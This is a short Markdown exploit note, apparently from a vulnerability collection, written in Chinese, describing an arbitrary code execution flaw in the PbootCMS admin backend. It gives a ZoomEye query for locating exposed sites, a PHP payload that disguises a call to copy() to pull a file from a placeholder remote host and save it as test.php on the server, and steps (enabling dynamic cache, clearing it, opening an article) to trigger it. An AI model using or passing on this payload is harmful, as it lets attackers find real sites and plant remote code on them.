30 lines
729 B
Markdown
30 lines
729 B
Markdown
|
## PbootCMS全版本后台通杀任意代码执行漏洞
|
||
|
|
|
||
|
|
## ZoomEye
|
||
|
|
```
|
||
|
|
app:"PbootCMS"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
<?php
|
||
|
|
|
||
|
|
$test="copy";
|
||
|
|
|
||
|
|
$test("http://IP:8080/1.txt","test.php");
|
||
|
|
|
||
|
|
?>
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
然后来到全局配置-配置参数
|
||
|
|
|
||
|
|
打开动态缓存(如果本就打开 那则不需要打开) 点击右上角的清除缓存
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
然后随便点击任意文章，触发漏洞
|
||
|
|
|
||
|
|
|